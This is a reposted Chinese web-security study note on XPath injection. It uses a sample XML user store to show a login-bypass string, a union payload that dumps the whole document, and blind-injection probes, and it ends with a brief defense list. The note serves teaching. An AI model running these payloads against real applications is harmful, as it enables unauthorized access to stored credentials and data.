zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记

    基础知识

    XPath是一种W3C标准,支持使用路径表达式来选取XML文档中的节点或者节点集,且定义了100多个内建函数。XML文档节点包括7种类型:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。

    XPath语法可参考:https://www.runoob.com/xpath/xpath-intro.html

    写过seleniumUI自动化的小伙伴是不是也用过XPath,没错,彼XPath就是此XPath。HTML文档本身也是XML。

    利用原理

    和SQL注入原理很像,都是通过构造输入,执行恶意语句来达到非法获取/操作服务器数据/信息的目的(XPath语法也支持and, or,模糊匹配等),区别在于SQL注入的攻击对象是数据库,XPath的攻击对象是XML文档。且XML文档没有用户权限控制和认证,只要能实现XPath注入就能访问整个XML文档...>_<...

    利用方式

    假设有如下XML文件:

    <?xml version="1.0" encoding="UTF-8"?>
    <heroes>
    	<hero>
    		<id>1</id>
    		<login>neo</login>
    		<password>trinity</password>
    		<secret>Oh why didn't I took that BLACK pill?</secret>
    		<movie>The Matrix</movie>
    		<genre>action sci-fi</genre>
    	</hero>
    	<hero>
    		<id>2</id>
    		<login>alice</login>
    		<password>loveZombies</password>
    		<secret>There's a cure!</secret>
    		<movie>Resident Evil</movie>
    		<genre>action horror sci-fi</genre>
    	</hero>
    	<hero>
    		<id>3</id>
    		<login>selene</login>
    		<password>m00n</password>
    		<secret>It wasn't the Lycans. It was you.</secret>
    		<movie>Underworld</movie>
    		<genre>action horror sci-fi</genre>
    	</hero>
    </heroes>

    1. 万能密码(用户登录场景): 

    假设用户登录时的xpath如下:

    "/heroes/hero[login='" . $login . "' and password='" . $password . "']"

    注入方法如下:

    用户名密码输入:1' or '1'='1,可以直接登录,xpath语句相当于:

    "/heroes/hero[login='1' or '1'='1' and password='1' or '1'='1']"

    2. 传入参数在内置函数中

    假设可以根据genre的值进行模糊匹配,xpath如下:

    "//hero[contains(genre, '$genre')]/movie"

    正常情况下的查询结果:

     注入方法:action')] | //* | //*[(',相当于:

    "//hero[contains(genre, 'action')] | //* | //*[('')]/movie"

    使用 //* 注入后可拿到整个XML文档:

    3. 盲注

    猜测上级节点个数:' or count(../*)=1,相当于:

    "/heroes/hero[login='1' or count(../*)=1 and password='1' or count(../*)=1 ]"

    猜测父节点名称:' or substring(name(parent::*[position()=1]),1,1)='a,  ' or substring(name(/*[position()=1]),2,1)='o' ....,相当于:

    "/heroes/hero[login='1 or substring(name(parent::*[position()=1]),1,1)='a'  and password='or substring(name(parent::*[position()=1]),1,1)='a']"
    "/heroes/hero[login='1 or substring(name(parent::*[position()=1]),2,1)='a'  and password='or substring(name(parent::*[position()=1]),2,1)='a']"
    ......


    防御方法

     1. 入参检测

     2. 参数化

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    mac os programming
    Rejecting Good Engineers?
    Do Undergrads in MIT Struggle to Obtain Good Grades?
    Go to industry?
    LaTex Tricks
    Convert jupyter notebooks to python files
    How to get gradients with respect to the inputs in pytorch
    Uninstall cuda 9.1 and install cuda 8.0
    How to edit codes on the server which runs jupyter notebook using your pc's bwroser
    Leetcode No.94 Binary Tree Inorder Traversal二叉树中序遍历(c++实现)
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/12172494.html
Copyright © 2011-2022 走看看